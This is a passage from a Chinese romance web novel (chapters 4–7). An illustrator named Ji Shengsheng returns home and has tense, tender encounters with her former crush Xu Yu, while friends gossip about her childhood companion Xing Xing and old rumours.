“有个情况我得和你说一下,”成玉不再拌嘴,而是直奔主题,“她回来就待几个月,就走了。”
“……搞不好是回来结婚。”
最后一句是成玉个人不负责任地推测。等他想具体谈谈他如何产生了这样推测的时候,许余已经起身离开。
纪声声是在坐电梯到楼下时碰见的许余。
“上午好,许老板。”纪声声热情地打招呼。
许余则示意她上车。
纪声声坐上副驾,看了一眼安全带,犹豫几秒钟:“……你能帮我个忙吗?”
其实她也可以忍着痛自己系。
但看见许余的时候,她就不想忍痛。
“纪声声。”
许余没动,也没看她,只是喊她的名字。
“不方便也没关系的。”
许余看着纪声声转身用右手艰难地调整安全带的长度,又看着她转回身后冲着自己露出一个因为笨拙而有些不好意思的笑容。
“你是不是觉得……”
“觉得什么?”纪声声不明白。
无论什么时候。
只要你一招手。
我都会对你一呼百应?
许余垂下眼睫,俯身帮纪声声把安全带系好。
4. 4
祝晓丹按响门铃的时候,纪声声正在打包行李。
“你什么时候出发?”祝晓丹把纪声声刚点的外卖一一打开。
“下周一。”纪声声单拿出一个箱子,将一些被资助对象未来能用上的生活必需品整齐码放。
“邢星陪你去?”把她们常看的下饭剧调出来,又摆好碗筷,祝晓丹想起来她和邢星也很久没见过了。
“对。”
她这趟急着回来,除了学业完成、房租到期这些客观原因以外,主要是要去看望被资助对象。
这个女孩子是她大三时资助的。
那时她刚刚经济独立,靠画画赚到了人生中的第一个五千块,很想做些什么激励自己。
每个月固定捐款的成就感太低,所以她选择了资助农村女孩完成学业的项目。只要一个五千块就可以让一个被资助者安稳地度过初高中几年的生活,她觉得这钱花得非常有意义。
她运气很好,被资助的小女孩也很努力,学习成绩一直很不错。
她们本来约定好待对方高考结束后就在潞城见面,但被资助的女孩子在高三经历了外婆重病和高考失利,有退学打工的想法,所以她决定把这次见面提前。
而选择带邢星一起去,除了是回国前就说好的以外,最主要的原因是她身边的无业选手只有邢星。
他时间最充分,事情最少,人最闲,开车技术也不错。只要不拖延,就是最佳出行搭子。
“你和邢星在国外这几年……”
等纪声声坐过来一起吃饭,祝晓丹露出八卦的面孔。
“……你千万不要胡思乱想那种鬼故事!”纪声声立刻将祝晓丹的幻想扼杀,“哪怕天底下只剩我们两个人,我们也不会和对方发展除友情以外的东西。”
“但是你不觉得你们对对方非常特殊吗,感觉就算以后你们各自有恋爱对象,你俩也是拆不开的关系,至少在我们外人眼里是这样的。”
“而且我记得……你初中时候还喜欢过他。”
纪声声夹起一粒花生米,仔细回忆自己到底做了什么,会让祝晓丹产生这种错觉。
祝晓丹是她初中兼高中同学,可以说是亲密无间、形影不离,但大学不在同一所,读研更是分隔两地。
或许初高中时她和邢星确实有些好得过头,但大学以后他们的生活圈子不再那么重合,就分得很开了。
“天降是不会打败竹马的,搞不好你俩以后也能成。”祝晓丹看着纪声声半天也没夹上来一粒,就耐心地把所有花生米都挑进纪声声的碗里。
“在许余之前,或许还有你说得这种可能。”纪声声专心吃碗里的花生米。
毕竟这么多年,她身边也没有其他可能发展的男生。
许余的出现,清楚地让她认识到了她喜欢什么样的男孩子。以及,她遇见真正喜欢的人会是什么样子。
“你和许余一块的时候,许余没对你和邢星的关系有过意见?”祝晓丹好奇。
“没有啊。”她追求许余的那段时间,邢星只是她借学生卡去理工大学食堂蹭饭的工具人。
偶尔帮她出谋划策,没起到任何负面作用。
“许余从来没问过我有关邢星的事情。”纪声声努力回忆,也没想起任何片段,“大概率都没注意到他这个人。”
“你长点心吧。帅哥对帅哥情敌的雷达是很敏锐的。”祝晓丹提醒纪声声,“邢星往你身边一站,许余只要看见就不可能不在意。如果他问你了倒还好,没问你问题可不小。”
“你说得有道理,不过啊,这是建立在他喜欢我的前提之上。”纪声声清醒发言,“我追他,他还跟邵芸暧昧,那就是不喜欢我,不喜欢我,当然也不会在意。”
“……逻辑满分。”对于许余当着纪声声的面送邵芸回宿舍这件事,祝晓丹也想不通。
“可能男人都那副死样子,看着碗里想着锅里。”祝晓丹举起奶茶,“不说那些不开心的事情了,今天我们相聚在这里,是庆祝你回来,庆祝翻篇儿!”
纪声声和祝晓丹碰杯:“庆祝翻篇儿!”
吃过晚饭,祝晓丹帮纪声声一起把剩下的行李打包。
临出门散步前,纪声声将之前画的几幅初稿导出,发在微博上。
出国学习的三年,她靠画画在一定程度上实现了经济独立。
而之所以会给许余的公司投简历,并参与到游戏周边的设计工作,也是为了锻炼自己与另一个团队之间的沟通协作能力。
她已经独自一人太久了,有些渴望到人群中呼吸。
……
另一边,成玉本来不想麻烦许余来接他,但公司聚餐实在喝得太多,加上他也觉得许余白天有些不在状态,大概率也无心工作,所以十分好心地将许余喊了出来。
“门开不开。”
成玉尝试了几次,都没有打开,只能扶着门蹲下。
许余降下车窗,温馨提示:“吐了以后再上车。”
成玉:“……”
蹲在车门边实在有些狼狈,成玉靠在车窗上,一眼瞥见后座的盒子,忍不住笑:“你不是说还,也追上去跟着下楼了,结果就只是给人送到家……”
“是忘了,还是不敢还啊……”车窗很快升起来,成玉立刻道歉,“哥我错了错了我错了。”
确定成玉不会吐了,许余才让成玉上车。
“我有个消息不太准确,和纪声声有关,你想听吗?”
许余沉默。
他没什么想知道的。
一路无话,送成玉到家。
“本来是想告诉你这件事,我才喊你来接我的,要是早知道你不感兴趣,我就不折腾你来这一趟了。”
“看得出来,你是真放下了。”
说完,成玉去开车门,发现怎么也开不开。
“说。”
“说什么?”被风吹了一路,成玉脑子有些反应不过来。
“什么事?”成玉装傻。
“噢噢,纪声声啊,……纪声声是谁来的?”被许余斜了一眼,成玉裂开一个笑容,“我听说她下周一就走了,你要是想把东西还给她就早点还。”
他不是直接从纪声声那里了解到的,也是通过七扭八扭的错综复杂的关系,所以不敢言之凿凿地告诉许余,只能用猜测的语气。
或许是喝了一些酒,成玉也比平时更加敢说。
“许余,
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老实说,虽然我作为见证者觉得纪声声喜欢你的那段时间挺纯爱的,但是你接受不了她脚踩两条船我也能理解。”
“我完全可以站在你的处境去看待这件事,要是别人我肯定劝他全力以赴去撬墙角,但是你有原则有底线,盒子里是什么东西我不知道,你还了你俩彻底结束,你也自由了。”
成玉说完,听见车锁打开的声音。知道是许余在赶人,他就不再废话。
许余的电话打过来时,纪声声已经把祝晓丹送上车,回家开始赶之前接的约稿。
眼睛酸痛,手腕也疼,最近腱鞘炎又有了要复发的趋势。
许余几乎没有主动给她打过电话,所以这个界面并不熟悉。
几分钟后,她简单收拾了一下,下楼去见对方。
许余没有说见面的原因,她也没问。毕竟对方已经到她家楼下了,她没有不去见人的道理。
“这是什么?”看见许余手里的盒子,纪声声反应了一会儿才想起来。
这是有一年圣诞节,那时候学校里很流行给男朋友织围巾,所以她也送了许余一条。
这个盒子就是当时装围巾的盒子。
现在,许余把这个拿来还给她。
就是……
她本来以为,即便是潦草收场,他们也有过一段比较不错的回忆。
现在搞成这样,看起来许余什么都不想给她留下。
“……还我?”纪声声再次确认,“你昨天在楼下,是不是也是因为这个?”
许余只是盯着她,并不说话。
“好吧,你开心就好。”纪声声叹气。
“再说一次。”许余终于开口。
“我是认真的,没有在阴阳怪气,你知道我的。”
她从不会阴阳别人。
如果许余选择这样做,那么一定有他的道理。虽然不是一段成功的感情,但这段关系里,至少还有人是开心的。
就足够了。
“如果你觉得把这个东西还给我,你会感到开心和舒服,也挺好的。”纪声声诚恳地从他手里接了过来,随后将盒子抱在怀里。
“喜欢你的那段时间,我觉得还是很幸福的。虽然看起来我好像付出了很多,但也得到了不少。”
现在这样或许也好,毕竟以后还有工作往来,彻底回归正常关系也许不是一件坏事。
“……你得到了什么?”
许余声音压得很低,站在纪声声对面,手不自觉抬起帮她拢了拢被风吹乱的头发。
“说不出具体,但我肯定得到了什么,只是我现在还看不清。”纪声声体面地后退两步。
“哭了?”
纪声声皱起鼻子吸了吸。
“……没有。”纪声声不好意思地摇头,“潞城的天气真是太冷了。”
她没有哭,也不会想哭。
抛开她本人比较乐观的性格不说,这三年她也经历了很多需要独自面对的事情,不会再把感情放在人生天平那么重的分量。
面对许余,她的情绪和心情都是比较稳定的。
这样一点小事,不会让她流眼泪。
“回去吧。”
“再见。”
5. 5
“我说,你为什么突然哭成一个猪头?!”
和相亲对象第二次约会完,邢星路过纪声声家楼下,顺路把周一出发要带的箱子拿过来。
结果一进门,就看见纪声声缩在沙发上哭成一团。
说话没有回应,邢星就地取材,从客厅的冰箱里拿出两瓶冰镇饮料,顺手包上桌上的湿纸巾,递给纪声声:“拿着,瞅你眼睛肿的。”
纪声声把脸擦干净,又接过邢星递来的东西。
“你哪里来的我家钥匙?”
“之前有一次回国,你让我帮你带东西你忘啦!坏女人你真是一点我的好都不记得。”
“是那次给你的?”纪声声不确定。
“那就是我上次喝多了临时住你这里你给的。”邢星记性也是差得很。
纪声声伸出手:“……钥匙还我。”
邢星“啪”地把钥匙塞进纪声声的手心。
“……少扯开话题,你到底在哭什么?”邢星看见女生哭就感到莫名的烦躁,纪声声也不例外。
“我看见你竟然破天荒把东西提前收拾好,而不是让我早起催你收拾……感动的。”纪声声努力平复心情,“邢同学,你终于长大了。”
“你放屁。”邢星一个字也不信,“别告诉我是因为见了许余,不然我真的会看不起你。”
“……随便你。”
纪声声看着邢星拉过来的箱子,一股不祥的预感涌上心头。
等她走过去轻松地拎起来,邢星脸色才变了:“……我拿错了,这是我妈的空箱子。”
“哦……”
她早就知道邢星不会这么靠谱。
这种不靠谱的事情对于邢星来说是司空见惯,所以他也只是窘迫了几秒钟,神色就迅速恢复如常。
“……许余都那样了你要是都能接受,那我觉得我你也能接受。”邢星一脸正经地激情自荐,“我也脚踩几条船,但我至少每条船都是清清楚楚的。”
“打住打住。”
许余可没有脚踩几条船。
是她追求许余,许余并没有答应。
这事只能说许余不接受不拒绝的行为有些不好,离邢星这种对待感情不停主动暧昧、暧昧结束后又迅速换人的行事作风还是不太一样。
纪声声不打算再和邢星继续掰扯那些没用的感情问题,便抬手指着箱子:“周一早上如果你再迟到的话,以后我出远门都不带你。”
“你真是一个绝情的坏女人。”临被推出门,邢星嘟嘟囔囔。
邢星走了以后,纪声声快速把自己收拾好。她说不清楚自己为什么会哭,也并没有感觉因为什么具体的事情难过。
只是一些负面情绪突然到来,又突然离开。
虽然哭了两声就被邢星的突然闯入打断,但情绪还是被很好地释放了。
纪声声坐在电脑前,继续画剩下的两张商用约稿。
成玉中午时给她发消息约她周六上午去公司开会,大约周末都会用来讨论周边开发的事情,留给她交稿的时间不多了。
祝晓丹上班时间比成玉早,周六早上顺路过来接她。
“早饭~”坐上副驾,纪声声把做好的三明治和奶茶递给祝晓丹。
“你昨天不是三点多才睡吗,”祝晓丹看着纪声声毫无黑眼圈的脸,“又起来做早餐,你不会都没睡吧……后面那个盒子是什么?”
“睡了几个小时,”纪声声回头看了一眼,“给今天加班同事带的,有奶茶、咖啡和果汁。”
她从成玉那里了解到这个周末跟着一起开会的还有六位同事。虽然许余的公司有下午茶,但是她有余力,多准备一些也是好的。
“许余今天也一起吗?”趁着等红灯的时间,祝晓丹赶忙趁热喝了一口奶茶,“手艺真不错!”
“许余不在。”
成玉是知道她和许余的事情的,而且成玉也比较照顾她。如果许余在的话,成玉不会隐瞒。
“那还好,就当正常打工。”
“没错!”
会议时间定在上午十点,考虑到时间还很早,纪声声便到楼下的便利店坐一会儿。
许余看见纪声声时,她就趴着便利店的玻璃窗前睡觉。
似乎是睡得很沉,她头发有些凌乱,眼睫毛交叉在一起,像是闹了别扭。
从她回来的几次接触来看,纪声声对他已经放下。无论他做什么事情,善意的抑或有攻击性的,纪声声都不会有强烈的情感波动。
纪声声和邢星的感情重回正轨,他只是其中一个无所谓的插曲。
她不在乎自己如何看待她,所以才能这么坦然。
许余垂下眸子。
“许老板,早上好!”
许余再次抬头时,纪声声已经睡醒,他们透过窗子对视彼此。
纪声声朝他露出一个灿烂的笑容。
然后,他看见纪声声快步小跑出便利店的门,又蹦蹦跳跳地到他身边。
像变魔术一样,不知道从哪里拿出一杯咖啡递到他面前。
许余盯着纪声声看了很久,才抬手接过去:“谢谢。”
“不客气。”
“来这么早。”
“要蹭车,所以来早了。”纪声声认真地回答许余的问题。
“祝晓丹的车么?”
“对。”
他们的对话和他们之间的氛围太过日常和熟悉,有一瞬间,纪声声感觉他们好像回到了刚认识的时候。
似乎是气氛给了她一些情绪加持,她在许余面前可以更加松弛。
“你男朋友没送你?”
纪声声不自觉地攥了攥衣角:“……啊?”
许余平淡提出的问题,吓得纪声声声音都颤抖了。
“……他最近比较忙,没时间。”纪声声摆摆手,眼神飘向相反的方向,糊弄道。
“我不忙。”
纪声声:“……”
成玉的到来及时解救了纪声声。
她没想过事情会这样发展,也不太确定许余这样说是什么意思。
毕竟——毕竟她曾经也自作多情过。
“成玉!”纪声声朝着远处走过来的成玉招手。
成玉远远地瞥了眼纪声声旁边的许余……和许余手上的咖啡,等走到纪声声旁边时,才贱兮兮地:“纪声声同学,咖啡有没有我的份?”
“当然有,每个人都有。”她甚至每个种类都多做了两杯。说完,纪声声转身回便利店去搬小箱子。
成玉走到许余旁边,低声地:“你今天这么早来,也有重要的事情啊——”
“开会。”许余看了成玉一眼,“昨晚的群消息你不是回了‘收到’?”
“……那确实是”成玉吃瘪。
看着纪声声马上就过来他们这边,成玉又忍不住:“我以为就剩两天时间,你不会想再跟我们声声有什么接触了呢。看来就算是两天,你也舍不得~”
平时成玉是很怕许余的。
但现在这种机会实在难得,成玉知道许余不会在有纪声声的场合严肃地发脾气,所以很珍惜现在的每时每刻。
纪声声出来的时候,许余已经不见人了。
成玉很有眼力见的帮纪声声抱着装满饮料的箱子,主动替许余解释:“他今天有个技术会,估计一整天都在会议室了,和我们这个不影响不冲突。”
“好的,明白。”
有冲突的话,她也没什么关系。
半天的会议议程结束,许余到流水间冲咖啡。台子上摆着几杯和早上纪声声递给他一样包装的饮料。
上面用贴纸贴好了名字,还标注了配料、糖分和卡路里。
流水间途径成玉约的会议室,许余经过的时候,纪声
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声正抱着笔记本在专心开会。
纪声声做什么事情都很认真用心,尽管她看起来很活泼爱闹。
看见纪声声抬头,许余收回目光,回到会议室。
太阳落山,会议才终于结束。许余出来时,成玉的会议室只剩下两个人。
“师哥,刚才美言姐痛经晕倒了,纪声声老师背她去医院了。”看见他走进来,美工组的实习生赶忙解释情况。
许余开车到医院时,成玉和纪声声正一边一个搀扶着杜美言上车。
杜美言打了止痛针,暂时没有大碍。等杜美言坐上后座,成玉才凑到许余旁边:“我送美言回家,你送纪声声?”
“你让她背人?”许余面露不悦。
成玉本来是打算用男生背女生不合适那套理由的,但想起刚才纪声声眼疾手快扶住快跌倒的杜美言,又非常利落地蹲下将人背起,一路照顾到医院的样子,有些难为情。
“我背不动……可能是太虚了,最近熬夜多、缺乏锻炼。”成玉揉了揉鼻子。
纪声声将包里的围巾围在杜美言身上,又把自己的手套给对方戴上。面对对方张口要说感谢的话,纪声声摆摆手表示都是举手之劳,让她注意保暖、回去以后好好休息。
等目送成玉和杜美言离开后,纪声声回头才发现许余还在等她。
许余穿着黑色长风衣。风调皮地把他的衣角翻来翻去。
在纪声声的记忆中,许余似乎从不怕冷。无论多冷的天气,多高的温度,他都穿得很轻便,但靠近他时,又总能感觉热乎乎的。
不再耽误彼此的时间,纪声声跑到许余面前:“麻烦你了。”
说的是送她回家的事情。
许余没说话,只是打开副驾的门。
纪声声刚坐进去,正准备去系安全带,许余已经低下头,在她身侧帮她扣上了。
纪声声:“……”
她的手今天已经不痛了。
而且,许余在驾驶位帮她系安全带,和在副驾门边帮她……完全不一样。
这感觉和气氛都怪怪的,她只能看向左边,回避许余的目光。
“我导航。”纪声声将手机放在支架上,让许余能够看清。
“不用。”
“……好吧。”纪声声快速将手机拿走。她刚才没有先征求许余的同意,动作太快,是有些没有边界了。
“我记得。”许余看了纪声声一眼,补充道,“你家的地址。”
“……好的。”
纪声声刚整理好情绪,手机就开始震动。
是邢星打来的微信视频。
要是让邢星知道她坐在许余的车上,肯定会说些不中听的话。
纪声声挂掉以后,以在画画很忙为由让邢星给她发文字。
邢星很快打来一大串内容。
纪声声扫了一眼。
大约是邢星和这次家里介绍的对象发展得不错,他也有意愿好好相处试试。
但今天下午吃饭的时候,对方看了邢星的手机,发现了纪声声这个“青梅”的存在。两人大吵一架。
邢星需要纪声声帮他出谋划策,几乎是立刻、马上。
“我在你家门口,你快放下数位板给我开门。”
邢星发完这句,又开始给她打电话。
从纪声声手机震动的那刻开始,许余已经注意到。
打来电话的人是谁,许余心里有数。
就这么旁观着纪声声的慌张无措,许余将车子停在离纪声声家最近的路口,等待纪声声的“解释”。
“就到这里就可以了。”纪声声眼疾手快解开安全带,“谢谢你,明天见。”
说完,就打开车门想要下车。
努力了两三次,纪声声才终于确认。
许余锁上了车门。
车子里像审讯室一样安静。
6. 6
“还没到。”许余停顿了几秒,看向她的目光充满审视,“着急?”
纪声声挠挠头发。
让许余送到她家楼下倒也不是不行。
但是如果在楼下碰见邢星……
她知道邢星一直想要为她打抱不平,尤其在邢星看见那天聚会理工大学的大合照里,许余和邵芸离得很近以后。
很多年前的事情了,加上后续可能还有工作上的往来,她不想再生是非
“嗯?”
许余一直在看她。
纪声声不敢和他对视,却又找不到很好的理由。
等她终于找到一个还算过得去的借口,佯装很有底气地看向许余时,她竟然从对方的表情里看到无端的失落。
明明……她都没有伤害过对方。
“让你为难了。”
许余给车门解锁,让纪声声能够随时离开。
“……要不,你等一下,我先处理点事情。”
和许余说完,纪声声快速打开车门下车,走到足够远的地方,才小声地给邢星发语音。
她完全可以理解那个女孩子介意她的存在。
毕竟像她和邢星这种从小一起长大的关系很容易被人误解。
而如果对方和邢星真的开始交往,那对方才是更应该分享邢星生活的人,她本应该、也早就应该从邢星过度分享的生活中退出。
和邢星表述完她的意见以后,邢星并不满意。
“你什么时候开门,我在门外蹲得腿都麻了,我必须要见面和你说。”
纪声声:“……”
她只能将自己并不在家的情况老实交代。
“那你什么时候回来?”邢星打来电话。
“估计还要一段时间,”纪声声回头朝着许余车子的方向看了一眼,“你先回家吧。明天早上我去找你再说这件事。”
“那行。”
听到电话那头邢星下楼梯的声音,纪声声才放下心来。
等她回到车边,打开副驾的门时,许余正闭目养神。
“抱歉,耽误你时间了。”纪声声有些不好意思,“刚才有个比较急的电话,……如果你方便的话……”
她并不想去扭捏。
从这里到她家的一段路虽然并不算远,但是路灯不够明亮,环境会比较昏暗。整体来说,并不算安全。所以如果不是邢星那档子事儿,她还是会麻烦许余把她送到楼下。
等她说完,才发现许余并没有动。看起来像是睡着了。
纪声声赶忙闭嘴。
夜晚的潞城很安静,车子里只有他们两个呼吸的声音。纪声声环视一圈,没有找到可以转移注意力的事物。
她只能看向许余。
许余啊……
眉眼生得真好。
她记得大学时韩流盛行,当时一股细长眼的审美在学校里占据主流。但即便在这样的审美侵袭下,许余仍是凭外表就可以很出挑的那一个。
纪声声没注意到自己盯了许余多久。
直到许余睁开眼睛,看着她。
“方便。”
纪声声别过脸,佯装在看车子周围有没有行人经过:“……我还以为你睡着了。”
“醒着。”
许余调整好座椅,又利落地帮她系好安全带:“一直。”
纪声声:“……谢谢。”
“不客气。”
纪声声听见自己的心脏在剧烈跳动。
“昨天给你的盒子,”许余启动车子,随意地问,“有打开吗?”
“还没有。”纪声声如实回答。
她不太想去直面许余“还”了什么给她,她也没有时间去沉溺在过去时的情绪里。
“为什么?”
“……没时间。”纪声声随便找了个理由。
她回答以后,许余便没再说什么。车子里重回安静。
心情平静以后,纪声声开始理顺邢星的事情。
她和邢星之间捆绑得很深,除了环境缘故,也有经历的原因。
邢星的父母是比较典型的工作狂人,关系也不算和谐,所以邢星自小和奶奶一起长大。
他们的童年时期,纪声声就出落得比较高挑,而邢星在初中前都只有一米六几。
个子矮小外加性格内向,邢星时常被人欺负。那些父母不在身边,又不敢把情况告诉奶奶的时刻,都是纪声声去帮邢星伸张正义的。
所以,在青春期以前,邢星对纪声声的依赖更像是对待一个保护着他长大的姐姐。
到了高中,邢星的性格外放很多,加上外形不错和出手大方,也有了自己的伙伴,但是从小对她积累的依赖还是在一定程度上有了延续。
这些都体现在即便身边有了喜欢、被喜欢、暧昧的异性,邢星还是要定期和她保持联系。
如果他们两个都是单身或者另一半没有意见也还好,现在这种情况,他们确实应该拉远距离。
想出合适的劝解邢星的话和做法以后,纪声声松了口气。
到了她家楼下,纪声声突然想起什么,便让许余稍等片刻,她马上就下来。
“或者,你也可以邀请我上去。”许余主动开口,一字一顿地。
纪声声硬着头皮答应:“……也行。”
下午时,她有观察许余公司给员工准备的各类补给箱,里面有常规的女生用品,也有止疼药。
但是太过常规了,还是没有那么见效。
她家里还有一些上次回来的库存,像是很好用的品牌的暖宫贴、冲剂型的止疼药,平常可以用来驱寒的饮
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品……以及今天广受好评的咖啡豆。
这些她准备明天拿过去给许余公司的同事们试一试,如果效果不错,也可以建议加入许余公司后续的常采清单。
纪声声住在六楼,楼道的声控灯时灵时不灵。她走在许余前面,时不时就要回头看一眼对方有没有跟上。
到三楼时,声控灯彻底没有反应,纪声声正想回头向许余解释情况,就感觉有人牵住了她的手。
“我走前面。”
许余牵过她的左手手腕,带着她上楼。
或许是夜晚的缘故,纪声声感觉自己的心脏在剧烈跳动,甚至快要冲出胸腔。
本不该这样的。
“紧张?”许余自然地放松她的手腕,转为十指相扣。
手指插=—进+指缝的温润触感让她汗毛直立。
“……还好。”纪声声抿了抿嘴唇。
到了五楼,声控灯终于有了反应,纪声声抬头、许余回头,四目相对和牵着的手好像偷晴的怨侣被揭穿在阳光之下。
纪声声看不出许余什么心情,但她的手心已紧张得出汗了。
终于到了六楼,纪声声想松开手,却被许余捉住。
她看着许余拿出纸巾,将她手心的汗擦干,甚至每个指缝都没有放过。
“谢谢……”
这样有些过于暧昧,已经超过她能承受的范围。
“不客气。”
说完,许余松开她的手,纪声声快步走到前面去开门。
她没注意到,邢星上次过来把外套丢在了沙发上。是许余坐在那件外套旁边,她才发现。
明明沙发很长,可许余偏偏要坐在那里。
“额……我收拾一下。”快速把邢星的东西收到一旁的洗衣篓里,纪声声才去次卧的柜子里翻找东西。
许余在沙发上坐了几分钟,就看见纪声声抱着个小箱子蹲在他面前。
然后拿出一个个小东西和他解释用途和功效。
许余一个字也没听进去,只是看着纪声声的眼睛一眨一眨,嘴唇一张一合。
然后,他看见纪声声抿住了嘴唇。
“怎么?”
“……你是不是都没有在听?”纪声声把箱子盖上。
“是。”许余很诚实。
“啊,那我快点说完。”纪声声把箱子放到许余面前,“这些还得麻烦你明天……周一带过去给大家试用看看……”
纪声声不再说下去了,因为许余看起来半个字也没有听进去。
这个夜晚总让她感觉有些不妙。或许她就不应该邀请许余上楼。
“很晚了。”纪声声看了眼时间,又看了眼许余。
“我知道。”
他没有要走的意思。
纪声声感觉得到。
7. 7
纪声声狐疑地看向许余。
这一点都不像他。
至少不像三年前拒人于千里之外的那个许余。
想着,纪声声站起身,抬起手臂,手背轻轻贴在许余的额头。
……果然。
“你发烧了?”纪声声倒了一杯水递给许余,“你还有其他不舒服的感觉么?”
“没有。”许余接过水杯,只是放在手心,并没有喝。
“什么时候开始的?”纪声声从桌子底下掏出小药箱。
“不知道。”许余看着她低头翻找的样子,盯着她头顶的碎发。
这个角度看她,很像在看一只忙碌的小兔子,此时正在努力且认真地捣鼓着什么。
过了好一阵儿,他看见纪声声从药箱里找出一支温度计和几类药品。
然后,又瞧见纪声声有些不好意思地看向他,在确认他不想动以后,才别扭地帮他脱掉外套,再轻轻拨开他的领口,将温度计快速塞进去。
几分钟过去,许余听见一个明确代表着高烧的温度从纪声声口中读出。
然后闭上眼睛,靠在沙发背上。
“你有什么药物过敏么?”纪声声翻找出几件常用的退烧药,“我不会开车,这边打车也不太方便,可能没有办法立刻送你去医院。”
“没有药物过敏。”许余认真回答她的每一个问题,“不用去医院。”
“嗯……”纪声声思考片刻,“这个药吃完可能会有些困,不保证你一会儿还能顺利开车回去。我先帮你叫个车,你吃过药以后在这里躺一下,等车到了我再叫你,你看行吗?”
“好。”
实在太晚了,她住的地方在城区的边缘,她反复加价几次,都没有人接单。
唯一一个能够快速打到车的提示,还是让她选择拼车。
……她没办法想象给许余拼车回家,而且他还在生病。
在她纠结的时候,许余似乎已经睡着。
纪声声只好找出所能提供的全部一次性用品,然后才轻轻拍打许余的肩膀,将他叫醒。
“打不到车子了,你介意睡次卧么?”纪声声结结巴巴地解释,“次卧很久没人住过了,我前几天回来换过的新床单……”
她以为许余会拒绝。
这几乎是没有另一种答案的可能,她还记得许余洁癖的严重程度。
然后她听见许余说……
“不介意。”
纪声声眨了眨眼睛,轻轻舒出一口气:“要我扶你么?”
如果许余拒绝留宿,她可能无法立刻想出解决今晚这个局面的其他好方法。所以,得到肯定回答,纪声声才松了一口气。
但这口气很快又提了起来。
“纪声声。”
“啊?”
“或许,你不用这么客气。”许余站起身来,看向她的目光有些复杂,“尤其,这里也没有外人。”
语气像是在说,坦诚相见过的人,不必装得这么生疏。
纪声声攥了攥手掌。
这次回来的几次偶遇,她总能隐隐感觉到许余的敌意。要说是因为以前的事情,明明是许余对不住她更多一些。
所以,这敌意又从何说起呢?
明明是她更委屈。
许余低头看向纪声声的手臂,伸手轻轻捉起她的手腕,将她紧紧攥着的拳头张开。
看着她发红的掌心,声音温和了许多:“说话。”
“说就说……”纪声声抬头看向许余的眼睛,“不管是三年前,还是现在,对你,我都没什么做得不对不好的地方。”
即便当时因为冲动发生了一次不该发生的事情,许余付出,她也付出了,他们没有谁占了谁的便宜,自然也没有谁该对谁感到愧疚。
“当真没有么?”
“没有。”
再没有一个像现在这样的时刻,纪声声能够勇敢地和许余对视。
“周一什么时候走?”
纪声声仔细回忆三年前的过往,大脑正在疯狂运转时,许余移开目光,不再看她,扯开了话题。
她没多想许余为什么会知道她周一要去看被资助的女孩,随口便回答了:“早班机。”
“一路顺风。”
说完,许余松开她的手,转身离开了。
纪声声愣住,等她反应过来,跑到窗边时,许余已经启动了车子离开。
她对于许余的话里有话没有太多想法和好奇。
她的字典里没有纠缠和纠结。
尤其是对于已经过去那么久的事情,是非如何她都不会再去多思虑。
只困惑了一会儿,纪声声就去整理白天开会的重点内容,为明天工作的继续推进做准备。
第二天早上六点钟,她刚睁开眼睛,成玉的电话就打了过来。
顺路接她,言简意赅。
她大概知道成玉家的地理位置,显然并不“顺路”。
“谢谢你,成玉,我早上要去一趟我朋友那里。”纪声声解释情况,“一会儿他送我去公司,不会迟到的。”
成玉大笑的声音非常夸张,似乎要说给旁边的人听一样:“这么早就要去找男朋友呀?”
纪声声无奈地:“……你怎么突然这么八卦了?”
她和成玉虽然算得上熟识,但也没有到可以随便开这种玩笑的地步。
“抱歉啊声声,今天有点兴奋,下次我不会了。”成玉收声,不再调侃。
挂了电话以后,纪声声本准备洗漱完打车去找邢星,没想到邢星已经快到她家楼下。
另一边,成玉看着正在发烧的许余,有点唏嘘:“你记得大四时候你生病不,纪声声照顾你一夜,我们几个伙伴也挺为你担心的。”
“兜兜转转啊,”成玉把退烧贴撕开,给许余贴在额头上,“你身边就剩下一个我了。”
许余懒得理他。
成玉自讨没趣以后就认命地开车带许余去输液。
在路上,他想起陈木。
许余、陈木和他是高中时期的铁三角。
尽管只有他和陈木是这样认为。
陈木和许余的单方面决裂是在许余和纪声声关系模糊不清的时候。
陈木为人耿直,甚至可以说是偏执。
最早陈木知道纪声声这个人时,对纪声声还是比较有好感的。
陈木为人很挑剔,和纪声声接触几次也只挑出一个毛病——纪声声是个对谁都好的中央空
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调。
但那时的相处还算正常。陈木对待纪声声甚至比对其他人要友好得多。
事情发生转变是陈木和伙伴一起回高中看望老师。他在伙伴的同学那里听到了纪声声和邢星的名字,知道这两个人关系暧昧。
回来以后,陈木又在理工大学食堂碰见纪声声和邢星一起吃饭。
在成玉看来,陈木是有些“因爱生恨”的。
在陈木的视角,纪声声是一个明明有稳定对象,却还要四处撒网、搞暧昧的坏女生。
她通过对谁都好的方式,等待愿者上钩。
在内心明确了这样一个结论以后,陈木就开始劝解许余。
具体的内容成玉不知情,只知道许余打了陈木,从此以后两人再没有说过一句话。
毕业以后,纪声声出国,陈木几次想要缓和关系,但许余都没接受。成玉夹在两个人中间,时常是挺痛苦的,尤其他们公司最近还要向陈木那边采购一批设备。
“陈木希望和你缓和关系,这你知道吧?”
许余在输液,成玉在旁边陪着:“大哥,看在我陪你这么早来急诊的份儿上,你能不能至少表个态,让我了解一下你们的隔阂深到什么程度?”
听到他在一旁喋喋不休,许余终于睁开眼:“你也可以现在就走。”
成玉忍无可忍:“……怪不得纪声声不要你。”
说完以后,成玉也有点后悔。
“那个……”成玉思考半天,没想出太合适的措辞,“你要是能自己盯着输液瓶,我就先回去开会了,有事随时跟我说。”
许余没说话。
成玉站起身,认真地:“你可能不像我对你一样,把我当成最好的朋友,但是我是出于真心地希望你能过得舒服一些,所以才会问你那些问题。我不是每一次都在故意逗你和开玩笑,虽然你天天板着脸看着让人心烦。”
说完,成玉耸耸肩。
他拿许余是没有任何办法。
“不可能和解。”
“啊?”
成玉惊讶于许余回答了他的问题,更惊讶是这个答案。
“他把纪声声的事散播了出去。”
成玉:“……”
原来这是许余生气的点。他生气陈木“坏”了纪声声的名声。
“明白了。”成玉叹气,“你还真是爱她啊。只许她放火,不许别人揭发是吧。”
许余看向他,平淡地:“滚。”
成玉回到公司,先和陈木那边开会敲定采购合同。
正事结束,看到陈木欲言又止的样子,成玉主动给他台阶下。
“其实你和许余之间有个信息差,”成玉耐心地,“你觉得许余是你朋友,纪声声害了他,你告知许余是保护朋友……”
“……但是你有没有想过,万一许余知情呢,万一他就不在意那个呢,”怕陈木不明白,成玉直接挑明,“就算知道纪声声有男朋友,许余也要横插一脚,介入他们的感情呢?”
陈木一脸难以置信:“许余不是那种人。”
“他就是。”
